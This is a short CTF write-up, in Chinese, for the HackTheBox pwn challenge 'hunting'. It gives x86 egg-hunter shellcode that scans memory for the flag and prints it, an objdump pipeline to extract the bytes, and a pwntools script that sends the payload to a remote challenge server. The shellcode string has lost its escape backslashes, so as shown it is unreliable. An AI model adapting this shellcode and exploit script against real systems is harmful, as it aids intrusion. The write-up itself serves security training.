CTF｜HackTheBox PWN题 hunting WP

global _start

section .text

_start:  push 0x64                  ; 为alarm()设置100秒  pop ebx  push 0x1b                  ; eax = 27 -> alarm()  pop eax  int 0x80                   ; 调用 alarm()  mov edi, dword 0x7b425448  ; egg = "{BTH" 小端存储的flag头，我们要去找这个  mov edx, 0x5FFFFFFF        ; flag 起始地址
next_page:  or dx, 0xfff            ; Linux x86 一页内存=4K dx=0x1000 - 1
next_address:  inc edx                 ; edx = 4096  pusha                   ; push 8个寄存器  xor ecx, ecx            ; arg2 置 0  lea ebx, [edx + 0x4]    ; 验证内存冲突  mov al, 0x21            ; access systemcall  int 0x80  cmp al, 0xf2            ; 比较返回值 bad address = EFAULT (0xf2) 则越界  popa                    ; pop 8个寄存器  jz next_page            ; 如果bad address 跳到next_page  cmp [edx], edi          ; 对比flag头  jnz next_address        ; 如果没有找到flag 跳到next_address  mov ecx, edx            ; flag地址给到write第二个参数  push 0x24               ; flag长度0x24 给到write第三个参数  pop edx  push 0x1                ; write()第一个参数,fd = 1 标准输出  pop ebx  mov al, 0x4             ; write systemcall  int 0x80

nasm -f elf32 ./payload.asm && ld -m elf_i386 payload.o -o payload

objdump -d ./payload|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

from pwn import *
payload = b"x6ax64x5bx6ax1bx58xcdx80xbfx48x54x42x7bxbaxffxffxffx5fx66x81xcaxffx0fx42x60x31xc9x8dx5ax04xb0x21xcdx80x3cxf2x61x74xebx39x3ax75xecx89xd1x6ax24x5ax6ax01x5bxb0x04xcdx80"
print("shellcode lenth:",len(payload))
r = remote("144.126.198.200",32617)#r = process("./hunting")
r.send(payload)flag = r.recv()print("flag: " + flag.decode())
r.close()